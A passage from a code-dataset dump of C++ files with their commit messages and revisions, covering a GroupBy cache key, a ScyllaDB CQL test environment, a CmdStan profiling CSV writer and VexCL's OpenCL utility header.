= is->readVarUInt();\n auto nexprs = is->readVarUInt();\n\n if (select_exprs_.size() != nexprs) {\n return false;\n }\n\n for (size_t j = 0; j < ngroups; ++j) {\n auto group_key = is->readLenencString();\n\n auto& group = (*groups)[group_key];\n for (size_t i = 0; i < select_exprs_.size(); ++i) {\n const auto& e = select_exprs_[i];\n group.emplace_back(VM::allocInstance(e->program(), scratch));\n VM::loadState(e->program(), &group[i], is);\n }\n }\n\n return true;\n}\n\nOption GroupBy::cacheKey() const {\n auto source_key = source_->cacheKey();\n if (source_key.isEmpty()) {\n return None();\n }\n\n return Some(\n SHA1::compute(\n StringUtil::format(\n \"$0~$1\",\n source_key.get().toString(),\n qtree_fingerprint_.toString())));\n}\n\n\n}\n<|endoftext|>"} {"text":"\/*\n * Copyright (C) 2015 Cloudius Systems, Ltd.\n *\/\n\n#include \n#include \"core\/do_with.hh\"\n#include \"cql_test_env.hh\"\n#include \"cql3\/query_processor.hh\"\n#include \"cql3\/query_options.hh\"\n#include \"core\/distributed.hh\"\n#include \"core\/shared_ptr.hh\"\n#include \"utils\/UUID_gen.hh\"\n#include \"service\/migration_manager.hh\"\n#include \"message\/messaging_service.hh\"\n#include \"service\/storage_service.hh\"\n#include \"db\/config.hh\"\n#include \"db\/batchlog_manager.hh\"\n#include \"schema_builder.hh\"\n#include \"init.hh\"\n\nclass in_memory_cql_env : public cql_test_env {\npublic:\n static auto constexpr ks_name = \"ks\";\nprivate:\n ::shared_ptr> _db;\n ::shared_ptr> _qp;\nprivate:\n struct core_local_state {\n service::client_state client_state;\n\n core_local_state()\n : client_state(service::client_state::for_external_calls()) {\n client_state.set_keyspace(ks_name);\n }\n\n future<> stop() {\n return make_ready_future<>();\n }\n };\n distributed _core_local;\nprivate:\n auto make_query_state() {\n return ::make_shared(_core_local.local().client_state);\n }\npublic:\n in_memory_cql_env(\n ::shared_ptr> db,\n ::shared_ptr> qp)\n : _db(db)\n , _qp(qp)\n { }\n\n virtual future<::shared_ptr> execute_cql(const sstring& text) override {\n auto qs = make_query_state();\n return _qp->local().process(text, *qs, cql3::query_options::DEFAULT).finally([qs] {});\n }\n\n virtual future<::shared_ptr> execute_cql(\n const sstring& text,\n std::unique_ptr qo) override\n {\n auto qs = make_query_state();\n auto& lqo = *qo;\n return _qp->local().process(text, *qs, lqo).finally([qs, qo = std::move(qo)] {});\n }\n\n virtual future prepare(sstring query) override {\n return _qp->invoke_on_all([query, this] (auto& local_qp) {\n auto qs = this->make_query_state();\n return local_qp.prepare(query, *qs).finally([qs] {}).discard_result();\n }).then([query, this] {\n return _qp->local().compute_id(query, ks_name);\n });\n }\n\n virtual future<::shared_ptr> execute_prepared(\n bytes id,\n std::vector values) override\n {\n auto prepared = _qp->local().get_prepared(id);\n assert(bool(prepared));\n auto stmt = prepared->statement;\n assert(stmt->get_bound_terms() == values.size());\n\n int32_t protocol_version = 3;\n auto options = ::make_shared(db::consistency_level::ONE, std::experimental::nullopt, std::move(values), std::move(std::vector{}), false,\n cql3::query_options::specific_options::DEFAULT, protocol_version, serialization_format::use_32_bit());\n options->prepare(prepared->bound_names);\n\n auto qs = make_query_state();\n return _qp->local().process_statement(stmt, *qs, *options)\n .finally([options, qs] {});\n }\n\n virtual future<> create_table(std::function schema_maker) override {\n auto id = utils::UUID_gen::get_time_UUID();\n return _db->invoke_on_all([schema_maker, id, this] (database& db) {\n schema_builder builder(make_lw_shared(schema_maker(ks_name)));\n builder.set_uuid(id);\n auto cf_schema = builder.build(schema_builder::compact_storage::no);\n auto& ks = db.find_keyspace(ks_name);\n auto cfg = ks.make_column_family_config(*cf_schema);\n db.add_column_family(std::move(cf_schema), std::move(cfg));\n });\n }\n\n virtual future<> require_keyspace_exists(const sstring& ks_name) override {\n auto& db = _db->local();\n assert(db.has_keyspace(ks_name));\n return make_ready_future<>();\n }\n\n virtual future<> require_table_exists(const sstring& ks_name, const sstring& table_name) override {\n auto& db = _db->local();\n assert(db.has_schema(ks_name, table_name));\n return make_ready_future<>();\n }\n\n virtual future<> require_column_has_value(const sstring& table_name,\n std::vector pk,\n std::vector ck,\n const sstring& column_name,\n boost::any expected) override {\n auto& db = _db->local();\n auto& cf = db.find_column_family(ks_name, table_name);\n auto schema = cf.schema();\n auto pkey = partition_key::from_deeply_exploded(*schema, pk);\n auto dk = dht::global_partitioner().decorate_key(*schema, pkey);\n auto shard = db.shard_of(dk._token);\n return _db->invoke_on(shard, [pkey = std::move(pkey),\n ck = std::move(ck),\n ks_name = std::move(ks_name),\n column_name = std::move(column_name),\n expected = std::move(expected),\n table_name = std::move(table_name)] (database& db) mutable {\n auto& cf = db.find_column_family(ks_name, table_name);\n auto schema = cf.schema();\n return cf.find_partition_slow(pkey).then([schema, ck, column_name, expected] (column_family::const_mutation_partition_ptr p) {\n assert(p != nullptr);\n auto row = p->find_row(clustering_key::from_deeply_exploded(*schema, ck));\n assert(row != nullptr);\n auto col_def = schema->get_column_definition(utf8_type->decompose(column_name));\n assert(col_def != nullptr);\n const atomic_cell_or_collection* cell = row->find_cell(col_def->id);\n if (!cell) {\n assert(((void)\"column not set\", 0));\n }\n bytes actual;\n if (!col_def->type->is_multi_cell()) {\n auto c = cell->as_atomic_cell();\n assert(c.is_live());\n actual = { c.value().begin(), c.value().end() };\n } else {\n auto c = cell->as_collection_mutation();\n auto type = dynamic_pointer_cast(col_def->type);\n actual = type->to_value(type->deserialize_mutation_form(c),\n serialization_format::internal());\n }\n assert(col_def->type->equal(actual, col_def->type->decompose(expected)));\n });\n });\n }\n\n virtual database& local_db() override {\n return _db->local();\n }\n\n cql3::query_processor& local_qp() override {\n return _qp->local();\n }\n\n future<> start() {\n return _core_local.start().then([this] () {\n auto query = sprint(\"create keyspace %s with replication = { 'class' : 'org.apache.cassandra.locator.SimpleStrategy', 'replication_factor' : 1 };\", sstring{ks_name});\n return execute_cql(query).discard_result().then([] {\n return make_ready_future<>();\n });\n });\n }\n\n virtual future<> stop() override {\n return _core_local.stop().then([this] {\n return db::get_batchlog_manager().stop().then([this] {\n return _qp->stop().then([this] {\n return service::get_migration_manager().stop().then([this] {\n return service::get_storage_proxy().stop().then([this] {\n return _db->stop().then([this] {\n return locator::i_endpoint_snitch::stop_snitch();\n });\n });\n });\n });\n });\n });\n }\n};\n\nfuture<> init_once(shared_ptr> db) {\n static bool done = false;\n if (!done) {\n done = true;\n \/\/ FIXME: we leak db, since we're initializing the global storage_service with it.\n new shared_ptr>(db);\n return init_storage_service(*db).then([] {\n return init_ms_fd_gossiper(\"127.0.0.1\", db::config::seed_provider_type());\n });\n } else {\n return make_ready_future();\n }\n}\n\nfuture<::shared_ptr> make_env_for_test() {\n return locator::i_endpoint_snitch::create_snitch(\"SimpleSnitch\").then([] {\n auto db = ::make_shared>();\n return init_once(db).then([db] {\n return seastar::async([db] {\n auto cfg = make_lw_shared();\n cfg->data_file_directories() = {};\n cfg->volatile_system_keyspace_for_testing() = true;\n db->start(std::move(*cfg)).get();\n\n distributed& proxy = service::get_storage_proxy();\n distributed& mm = service::get_migration_manager();\n distributed& bm = db::get_batchlog_manager();\n\n auto qp = ::make_shared>();\n proxy.start(std::ref(*db)).get();\n mm.start().get();\n qp->start(std::ref(proxy), std::ref(*db)).get();\n\n db::system_keyspace::init_local_cache().get();\n\n auto& ss = service::get_local_storage_service();\n static bool storage_service_started = false;\n if (!storage_service_started) {\n storage_service_started = true;\n ss.init_server().get();\n }\n\n bm.start(std::ref(*qp));\n\n auto env = ::make_shared(db, qp);\n env->start().get();\n\n return dynamic_pointer_cast(env);\n });\n });\n });\n}\n\nfuture<> do_with_cql_env(std::function(cql_test_env&)> func) {\n return make_env_for_test().then([func = std::move(func)] (auto e) mutable {\n return do_with(std::move(func), [e] (auto& f) {\n return f(*e);\n }).finally([e] {\n return e->stop().finally([e] {});\n });\n });\n}\ntests\/cql_env: make sure that value views are correct\/*\n * Copyright (C) 2015 Cloudius Systems, Ltd.\n *\/\n\n#include \n#include \"core\/do_with.hh\"\n#include \"cql_test_env.hh\"\n#include \"cql3\/query_processor.hh\"\n#include \"cql3\/query_options.hh\"\n#include \"core\/distributed.hh\"\n#include \"core\/shared_ptr.hh\"\n#include \"utils\/UUID_gen.hh\"\n#include \"service\/migration_manager.hh\"\n#include \"message\/messaging_service.hh\"\n#include \"service\/storage_service.hh\"\n#include \"db\/config.hh\"\n#include \"db\/batchlog_manager.hh\"\n#include \"schema_builder.hh\"\n#include \"init.hh\"\n\nclass in_memory_cql_env : public cql_test_env {\npublic:\n static auto constexpr ks_name = \"ks\";\nprivate:\n ::shared_ptr> _db;\n ::shared_ptr> _qp;\nprivate:\n struct core_local_state {\n service::client_state client_state;\n\n core_local_state()\n : client_state(service::client_state::for_external_calls()) {\n client_state.set_keyspace(ks_name);\n }\n\n future<> stop() {\n return make_ready_future<>();\n }\n };\n distributed _core_local;\nprivate:\n auto make_query_state() {\n return ::make_shared(_core_local.local().client_state);\n }\npublic:\n in_memory_cql_env(\n ::shared_ptr> db,\n ::shared_ptr> qp)\n : _db(db)\n , _qp(qp)\n { }\n\n virtual future<::shared_ptr> execute_cql(const sstring& text) override {\n auto qs = make_query_state();\n return _qp->local().process(text, *qs, cql3::query_options::DEFAULT).finally([qs] {});\n }\n\n virtual future<::shared_ptr> execute_cql(\n const sstring& text,\n std::unique_ptr qo) override\n {\n auto qs = make_query_state();\n auto& lqo = *qo;\n return _qp->local().process(text, *qs, lqo).finally([qs, qo = std::move(qo)] {});\n }\n\n virtual future prepare(sstring query) override {\n return _qp->invoke_on_all([query, this] (auto& local_qp) {\n auto qs = this->make_query_state();\n return local_qp.prepare(query, *qs).finally([qs] {}).discard_result();\n }).then([query, this] {\n return _qp->local().compute_id(query, ks_name);\n });\n }\n\n virtual future<::shared_ptr> execute_prepared(\n bytes id,\n std::vector values) override\n {\n auto prepared = _qp->local().get_prepared(id);\n assert(bool(prepared));\n auto stmt = prepared->statement;\n assert(stmt->get_bound_terms() == values.size());\n \n auto options = ::make_shared(std::move(values));\n options->prepare(prepared->bound_names);\n\n auto qs = make_query_state();\n return _qp->local().process_statement(stmt, *qs, *options)\n .finally([options, qs] {});\n }\n\n virtual future<> create_table(std::function schema_maker) override {\n auto id = utils::UUID_gen::get_time_UUID();\n return _db->invoke_on_all([schema_maker, id, this] (database& db) {\n schema_builder builder(make_lw_shared(schema_maker(ks_name)));\n builder.set_uuid(id);\n auto cf_schema = builder.build(schema_builder::compact_storage::no);\n auto& ks = db.find_keyspace(ks_name);\n auto cfg = ks.make_column_family_config(*cf_schema);\n db.add_column_family(std::move(cf_schema), std::move(cfg));\n });\n }\n\n virtual future<> require_keyspace_exists(const sstring& ks_name) override {\n auto& db = _db->local();\n assert(db.has_keyspace(ks_name));\n return make_ready_future<>();\n }\n\n virtual future<> require_table_exists(const sstring& ks_name, const sstring& table_name) override {\n auto& db = _db->local();\n assert(db.has_schema(ks_name, table_name));\n return make_ready_future<>();\n }\n\n virtual future<> require_column_has_value(const sstring& table_name,\n std::vector pk,\n std::vector ck,\n const sstring& column_name,\n boost::any expected) override {\n auto& db = _db->local();\n auto& cf = db.find_column_family(ks_name, table_name);\n auto schema = cf.schema();\n auto pkey = partition_key::from_deeply_exploded(*schema, pk);\n auto dk = dht::global_partitioner().decorate_key(*schema, pkey);\n auto shard = db.shard_of(dk._token);\n return _db->invoke_on(shard, [pkey = std::move(pkey),\n ck = std::move(ck),\n ks_name = std::move(ks_name),\n column_name = std::move(column_name),\n expected = std::move(expected),\n table_name = std::move(table_name)] (database& db) mutable {\n auto& cf = db.find_column_family(ks_name, table_name);\n auto schema = cf.schema();\n return cf.find_partition_slow(pkey).then([schema, ck, column_name, expected] (column_family::const_mutation_partition_ptr p) {\n assert(p != nullptr);\n auto row = p->find_row(clustering_key::from_deeply_exploded(*schema, ck));\n assert(row != nullptr);\n auto col_def = schema->get_column_definition(utf8_type->decompose(column_name));\n assert(col_def != nullptr);\n const atomic_cell_or_collection* cell = row->find_cell(col_def->id);\n if (!cell) {\n assert(((void)\"column not set\", 0));\n }\n bytes actual;\n if (!col_def->type->is_multi_cell()) {\n auto c = cell->as_atomic_cell();\n assert(c.is_live());\n actual = { c.value().begin(), c.value().end() };\n } else {\n auto c = cell->as_collection_mutation();\n auto type = dynamic_pointer_cast(col_def->type);\n actual = type->to_value(type->deserialize_mutation_form(c),\n serialization_format::internal());\n }\n assert(col_def->type->equal(actual, col_def->type->decompose(expected)));\n });\n });\n }\n\n virtual database& local_db() override {\n return _db->local();\n }\n\n cql3::query_processor& local_qp() override {\n return _qp->local();\n }\n\n future<> start() {\n return _core_local.start().then([this] () {\n auto query = sprint(\"create keyspace %s with replication = { 'class' : 'org.apache.cassandra.locator.SimpleStrategy', 'replication_factor' : 1 };\", sstring{ks_name});\n return execute_cql(query).discard_result().then([] {\n return make_ready_future<>();\n });\n });\n }\n\n virtual future<> stop() override {\n return _core_local.stop().then([this] {\n return db::get_batchlog_manager().stop().then([this] {\n return _qp->stop().then([this] {\n return service::get_migration_manager().stop().then([this] {\n return service::get_storage_proxy().stop().then([this] {\n return _db->stop().then([this] {\n return locator::i_endpoint_snitch::stop_snitch();\n });\n });\n });\n });\n });\n });\n }\n};\n\nfuture<> init_once(shared_ptr> db) {\n static bool done = false;\n if (!done) {\n done = true;\n \/\/ FIXME: we leak db, since we're initializing the global storage_service with it.\n new shared_ptr>(db);\n return init_storage_service(*db).then([] {\n return init_ms_fd_gossiper(\"127.0.0.1\", db::config::seed_provider_type());\n });\n } else {\n return make_ready_future();\n }\n}\n\nfuture<::shared_ptr> make_env_for_test() {\n return locator::i_endpoint_snitch::create_snitch(\"SimpleSnitch\").then([] {\n auto db = ::make_shared>();\n return init_once(db).then([db] {\n return seastar::async([db] {\n auto cfg = make_lw_shared();\n cfg->data_file_directories() = {};\n cfg->volatile_system_keyspace_for_testing() = true;\n db->start(std::move(*cfg)).get();\n\n distributed& proxy = service::get_storage_proxy();\n distributed& mm = service::get_migration_manager();\n distributed& bm = db::get_batchlog_manager();\n\n auto qp = ::make_shared>();\n proxy.start(std::ref(*db)).get();\n mm.start().get();\n qp->start(std::ref(proxy), std::ref(*db)).get();\n\n db::system_keyspace::init_local_cache().get();\n\n auto& ss = service::get_local_storage_service();\n static bool storage_service_started = false;\n if (!storage_service_started) {\n storage_service_started = true;\n ss.init_server().get();\n }\n\n bm.start(std::ref(*qp));\n\n auto env = ::make_shared(db, qp);\n env->start().get();\n\n return dynamic_pointer_cast(env);\n });\n });\n });\n}\n\nfuture<> do_with_cql_env(std::function(cql_test_env&)> func) {\n return make_env_for_test().then([func = std::move(func)] (auto e) mutable {\n return do_with(std::move(func), [e] (auto& f) {\n return f(*e);\n }).finally([e] {\n return e->stop().finally([e] {});\n });\n });\n}\n<|endoftext|>"} {"text":"#ifndef CMDSTAN_WRITE_PROFILING_HPP\n#define CMDSTAN_WRITE_PROFILING_HPP\n\n#include \n#include \n#include \n#include \n#include \n\nnamespace cmdstan {\nvoid write_profiling(stan::callbacks::writer& writer,\n stan::math::profile_map& p) {\n stan::math::profile_map::iterator it;\n std::stringstream profile_csv_stream;\n profile_csv_stream << \"name,thread_id,time_total,forward_time,reverse_time,chain_stack_total,nochain_stack_total,autodiff_passes,no_autodiff_passes\" << std::endl;\n for (it = p.begin(); it != p.end(); it++) {\n profile_csv_stream \n \/\/ name\n << it->first.first << \",\"\n \/\/ thread_id\n << it->first.second << \",\" \/\/\n \/\/ time_total\n << (it->second.get_fwd_time() + it->second.get_rev_time()) << \",\"\n \/\/ forward_time\n << it->second.get_fwd_time() << \",\"\n \/\/ reverse_time\n << it->second.get_rev_time() << \",\"\n \/\/ chain_stack_total\n << it->second.get_chain_stack_used() << \",\"\n \/\/ nochain_stack_total\n << it->second.get_nochain_stack_used() << \",\"\n \/\/ autodiff_passes\n << it->second.get_num_rev_passes() << \",\"\n \/\/ no_autodiff_passes\n << it->second.get_num_no_AD_fwd_passes()\n << std::endl;\n }\n writer(profile_csv_stream.str());\n}\n} \/\/ namespace cmdstan\n#endif\nfix names#ifndef CMDSTAN_WRITE_PROFILING_HPP\n#define CMDSTAN_WRITE_PROFILING_HPP\n\n#include \n#include \n#include \n#include \n#include \n\nnamespace cmdstan {\nvoid write_profiling(stan::callbacks::writer& writer,\n stan::math::profile_map& p) {\n stan::math::profile_map::iterator it;\n std::stringstream profile_csv_stream;\n profile_csv_stream << \"name,thread_id,time,forward_time,reverse_time,chain_stack,no_chain_stack,autodiff_calls,no_autodiff_calls\" << std::endl;\n for (it = p.begin(); it != p.end(); it++) {\n profile_csv_stream \n \/\/ name\n << it->first.first << \",\"\n \/\/ thread_id\n << it->first.second << \",\" \/\/\n \/\/ time_total\n << (it->second.get_fwd_time() + it->second.get_rev_time()) << \",\"\n \/\/ forward_time\n << it->second.get_fwd_time() << \",\"\n \/\/ reverse_time\n << it->second.get_rev_time() << \",\"\n \/\/ chain_stack_total\n << it->second.get_chain_stack_used() << \",\"\n \/\/ nochain_stack_total\n << it->second.get_nochain_stack_used() << \",\"\n \/\/ autodiff_passes\n << it->second.get_num_rev_passes() << \",\"\n \/\/ no_autodiff_passes\n << it->second.get_num_no_AD_fwd_passes()\n << std::endl;\n }\n writer(profile_csv_stream.str());\n}\n} \/\/ namespace cmdstan\n#endif\n<|endoftext|>"} {"text":"#ifndef CMDSTAN_WRITE_PROFILING_HPP\n#define CMDSTAN_WRITE_PROFILING_HPP\n\n#include \n#include \n#include \n#include \n#include \n\nnamespace cmdstan {\n\n\/**\n * Writes the data from the map of profiles in a CSV format\n * to the supplied writer.\n * \n * @param writer object of a Stan writer class to write to.\n * @param p reference to the map of profiles\n *\/\nvoid write_profiling(stan::callbacks::writer& writer,\n stan::math::profile_map& p) {\n stan::math::profile_map::iterator it;\n std::stringstream profile_csv_stream;\n profile_csv_stream << \"name,thread_id,time,forward_time,reverse_time,chain_\"\n \"stack,no_chain_stack,autodiff_calls,no_autodiff_calls\"\n << std::endl;\n for (it = p.begin(); it != p.end(); it++) {\n profile_csv_stream\n << it->first.first\n << \",\"\n << it->first.second\n << \",\"\n << (it->second.get_fwd_time() + it->second.get_rev_time())\n << \",\"\n << it->second.get_fwd_time()\n << \",\"\n << it->second.get_rev_time()\n << \",\"\n << it->second.get_chain_stack_used()\n << \",\"\n << it->second.get_nochain_stack_used()\n << \",\"\n << it->second.get_num_rev_passes()\n << \",\"\n << it->second.get_num_no_AD_fwd_passes() << std::endl;\n }\n writer(profile_csv_stream.str());\n}\n} \/\/ namespace cmdstan\n#endif\n[Jenkins] auto-formatting by clang-format version 6.0.0-1ubuntu2~16.04.1 (tags\/RELEASE_600\/final)#ifndef CMDSTAN_WRITE_PROFILING_HPP\n#define CMDSTAN_WRITE_PROFILING_HPP\n\n#include \n#include \n#include \n#include \n#include \n\nnamespace cmdstan {\n\n\/**\n * Writes the data from the map of profiles in a CSV format\n * to the supplied writer.\n *\n * @param writer object of a Stan writer class to write to.\n * @param p reference to the map of profiles\n *\/\nvoid write_profiling(stan::callbacks::writer& writer,\n stan::math::profile_map& p) {\n stan::math::profile_map::iterator it;\n std::stringstream profile_csv_stream;\n profile_csv_stream << \"name,thread_id,time,forward_time,reverse_time,chain_\"\n \"stack,no_chain_stack,autodiff_calls,no_autodiff_calls\"\n << std::endl;\n for (it = p.begin(); it != p.end(); it++) {\n profile_csv_stream << it->first.first << \",\" << it->first.second << \",\"\n << (it->second.get_fwd_time()\n + it->second.get_rev_time())\n << \",\" << it->second.get_fwd_time() << \",\"\n << it->second.get_rev_time() << \",\"\n << it->second.get_chain_stack_used() << \",\"\n << it->second.get_nochain_stack_used() << \",\"\n << it->second.get_num_rev_passes() << \",\"\n << it->second.get_num_no_AD_fwd_passes() << std::endl;\n }\n writer(profile_csv_stream.str());\n}\n} \/\/ namespace cmdstan\n#endif\n<|endoftext|>"} {"text":"#ifndef VEXCL_UTIL_HPP\n#define VEXCL_UTIL_HPP\n\n\/*\nThe MIT License\n\nCopyright (c) 2012 Denis Demidov \n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n\/**\n * \\file util.hpp\n * \\author Denis Demidov \n * \\brief OpenCL general utilities.\n *\/\n\n#ifdef WIN32\n# pragma warning(push)\n# pragma warning(disable : 4267 4290)\n# define NOMINMAX\n#endif\n\n#ifndef __CL_ENABLE_EXCEPTIONS\n# define __CL_ENABLE_EXCEPTIONS\n#endif\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\ntypedef unsigned int uint;\ntypedef unsigned char uchar;\n\nnamespace vex {\n\n\/\/\/ Convert typename to string.\ntemplate inline std::string type_name() { return \"undefined_type\"; }\ntemplate <> inline std::string type_name() { return \"float\"; }\ntemplate <> inline std::string type_name() { return \"double\"; }\ntemplate <> inline std::string type_name() { return \"int\"; }\ntemplate <> inline std::string type_name() { return \"char\"; }\ntemplate <> inline std::string type_name() { return \"bool\"; }\ntemplate <> inline std::string type_name() { return \"unsigned int\"; }\ntemplate <> inline std::string type_name() { return \"unsigned char\"; }\n\n#if (__WORDSIZE == 64) || defined(_WIN64)\ntemplate <> inline std::string type_name() { return \"ulong\"; }\ntemplate <> inline std::string type_name() { return \"long\"; }\n#endif\n\nconst std::string standard_kernel_header = std::string(\n\t\"#if defined(cl_khr_fp64)\\n\"\n\t\"# pragma OPENCL EXTENSION cl_khr_fp64: enable\\n\"\n\t\"#elif defined(cl_amd_fp64)\\n\"\n\t\"# pragma OPENCL EXTENSION cl_amd_fp64: enable\\n\"\n\t\"#endif\\n\"\n\t);\n\n\/\/\/ \\cond INTERNAL\n\n\/\/\/ Binary operations with their traits.\nnamespace binop {\n enum kind {\n\tAdd,\n\tSubtract,\n\tMultiply,\n\tDivide,\n\tRemainder,\n\tGreater,\n\tLess,\n\tGreaterEqual,\n\tLessEqual,\n\tEqual,\n\tNotEqual,\n\tBitwiseAnd,\n\tBitwiseOr,\n\tBitwiseXor,\n\tLogicalAnd,\n\tLogicalOr,\n\tRightShift,\n\tLeftShift\n };\n\n template struct traits {};\n\n#define BOP_TRAITS(kind, op, nm) \\\n template <> struct traits { \\\n\tstatic std::string oper() { return op; } \\\n\tstatic std::string name() { return nm; } \\\n };\n\n BOP_TRAITS(Add, \"+\", \"Add_\")\n BOP_TRAITS(Subtract, \"-\", \"Sub_\")\n BOP_TRAITS(Multiply, \"*\", \"Mul_\")\n BOP_TRAITS(Divide, \"\/\", \"Div_\")\n BOP_TRAITS(Remainder, \"%\", \"Mod_\")\n BOP_TRAITS(Greater, \">\", \"Gtr_\")\n BOP_TRAITS(Less, \"<\", \"Lss_\")\n BOP_TRAITS(GreaterEqual, \">=\", \"Geq_\")\n BOP_TRAITS(LessEqual, \"<=\", \"Leq_\")\n BOP_TRAITS(Equal, \"==\", \"Equ_\")\n BOP_TRAITS(NotEqual, \"!=\", \"Neq_\")\n BOP_TRAITS(BitwiseAnd, \"&\", \"BAnd_\")\n BOP_TRAITS(BitwiseOr, \"|\", \"BOr_\")\n BOP_TRAITS(BitwiseXor, \"^\", \"BXor_\")\n BOP_TRAITS(LogicalAnd, \"&&\", \"LAnd_\")\n BOP_TRAITS(LogicalOr, \"||\", \"LOr_\")\n BOP_TRAITS(RightShift, \">>\", \"Rsh_\")\n BOP_TRAITS(LeftShift, \"<<\", \"Lsh_\")\n\n#undef BOP_TRAITS\n}\n\n\/\/\/ Return next power of 2.\ninline size_t nextpow2(size_t x) {\n --x;\n x |= x >> 1U;\n x |= x >> 2U;\n x |= x >> 4U;\n x |= x >> 8U;\n x |= x >> 16U;\n return ++x;\n}\n\n\/\/\/ Align n to the next multiple of m.\ninline size_t alignup(size_t n, size_t m = 16U) {\n return n % m ? n - n % m + m : n;\n}\n\n\/\/\/ Weights device wrt to vector performance.\n\/**\n * Launches the following kernel on each device:\n * \\code\n * a = b + c;\n * \\endcode\n * where a, b and c are device vectors. Each device gets portion of the vector\n * proportional to the performance of this operation.\n *\/\ninline double device_vector_perf(\n\tconst cl::Context &context, const cl::Device &device\n\t);\n\n\/\/\/ Weights device wrt to spmv performance.\n\/**\n * Launches the following kernel on each device:\n * \\code\n * y = A * x;\n * \\endcode\n * where x and y are vectors, and A is matrix for 3D Poisson problem in square\n * domain. Each device gets portion of the vector proportional to the\n * performance of this operation.\n *\/\ninline double device_spmv_perf(\n\tconst cl::Context &context, const cl::Device &device\n\t);\n\n\/\/\/ Assigns equal weight to each device.\n\/**\n * This results in equal partitioning.\n *\/\ninline double equal_weights(\n\tconst cl::Context &context, const cl::Device &device\n\t)\n{\n return 1;\n}\n\n\n\/\/\/ Partitioning scheme for vectors and matrices.\n\/**\n * Should be set once before any object of vector or matrix type is declared.\n * Otherwise default parttioning function (partition_by_vector_perf) is\n * selected.\n *\/\ntemplate \nstruct partitioning_scheme {\n typedef std::function<\n\tdouble(const cl::Context&, const cl::Device&)\n\t> weight_function;\n\n static void set(weight_function f) {\n\tif (!is_set) {\n\t weight = f;\n\t is_set = true;\n\t} else {\n\t std::cerr <<\n\t\t\"Warning: \"\n\t\t\"device weighting function is already set and will be left as is.\"\n\t\t<< std::endl;\n\t}\n }\n\n static std::vector get(size_t n, const std::vector &queue);\n\n private:\n\tstatic bool is_set;\n\tstatic weight_function weight;\n\tstatic std::map device_weight;\n};\n\ntemplate \nbool partitioning_scheme::is_set = false;\n\ntemplate \nstd::map partitioning_scheme::device_weight;\n\ntemplate \nstd::vector partitioning_scheme::get(size_t n,\n\tconst std::vector &queue)\n{\n if (!is_set) {\n\tweight = device_vector_perf;\n\tis_set = true;\n }\n\n std::vector part;\n part.reserve(queue.size() + 1);\n part.push_back(0);\n\n if (queue.size() > 1) {\n\tstd::vector cumsum;\n\tcumsum.reserve(queue.size() + 1);\n\tcumsum.push_back(0);\n\n\tfor(auto q = queue.begin(); q != queue.end(); q++) {\n\t cl::Context context = q->getInfo();\n\t cl::Device device = q->getInfo();\n\n\t auto dw = device_weight.find(device());\n\n\t double w = (dw == device_weight.end()) ?\n\t\t(device_weight[device()] = weight(context, device)) :\n\t\tdw->second;\n\n\t cumsum.push_back(cumsum.back() + w);\n\t}\n\n\tfor(uint d = 1; d < queue.size(); d++)\n\t part.push_back(\n\t\t std::min(n,\n\t\t\talignup(static_cast(n * cumsum[d] \/ cumsum.back()))\n\t\t\t)\n\t\t );\n }\n\n part.push_back(n);\n return part;\n}\n\ntemplate \ntypename partitioning_scheme::weight_function partitioning_scheme::weight;\n\ninline std::vector partition(size_t n,\n\t const std::vector &queue)\n{\n return partitioning_scheme::get(n, queue);\n}\n\n\/\/\/ Create and build a program from source string.\ninline cl::Program build_sources(\n\tconst cl::Context &context, const std::string &source\n\t)\n{\n cl::Program program(context, cl::Program::Sources(\n\t\t1, std::make_pair(source.c_str(), source.size())\n\t\t));\n\n auto device = context.getInfo();\n\n try {\n\tprogram.build(device);\n } catch(const cl::Error&) {\n\tstd::cerr << source\n\t << std::endl\n\t << program.getBuildInfo(device[0])\n\t << std::endl;\n\tthrow;\n }\n\n return program;\n}\n\n\/\/\/ Get maximum possible workgroup size for given kernel.\ninline uint kernel_workgroup_size(\n\tconst cl::Kernel &kernel,\n\tconst cl::Device &device\n\t)\n{\n size_t wgsz = 1024U;\n\n uint dev_wgsz = kernel.getWorkGroupInfo(device);\n while(wgsz > dev_wgsz) wgsz \/= 2;\n\n return wgsz;\n}\n\n\/\/\/ Shortcut for q.getInfo()\ninline cl::Context qctx(const cl::CommandQueue& q) {\n cl::Context ctx;\n q.getInfo(CL_QUEUE_CONTEXT, &ctx);\n return ctx;\n}\n\n\/\/\/ Shortcut for q.getInfo()\ninline cl::Device qdev(const cl::CommandQueue& q) {\n cl::Device dev;\n q.getInfo(CL_QUEUE_DEVICE, &dev);\n return dev;\n}\n\n} \/\/ namespace vex\n\n\/\/\/ Output description of an OpenCL error to a stream.\ninline std::ostream& operator<<(std::ostream &os, const cl::Error &e) {\n os << e.what() << \"(\";\n\n switch (e.err()) {\n\tcase 0:\n\t os << \"Success\";\n\t break;\n\tcase -1:\n\t os << \"Device not found\";\n\t break;\n\tcase -2:\n\t os << \"Device not available\";\n\t break;\n\tcase -3:\n\t os << \"Compiler not available\";\n\t break;\n\tcase -4:\n\t os << \"Mem object allocation failure\";\n\t break;\n\tcase -5:\n\t os << \"Out of resources\";\n\t break;\n\tcase -6:\n\t os << \"Out of host memory\";\n\t break;\n\tcase -7:\n\t os << \"Profiling info not available\";\n\t break;\n\tcase -8:\n\t os << \"Mem copy overlap\";\n\t break;\n\tcase -9:\n\t os << \"Image format mismatch\";\n\t break;\n\tcase -10:\n\t os << \"Image format not supported\";\n\t break;\n\tcase -11:\n\t os << \"Build program failure\";\n\t break;\n\tcase -12:\n\t os << \"Map failure\";\n\t break;\n\tcase -13:\n\t 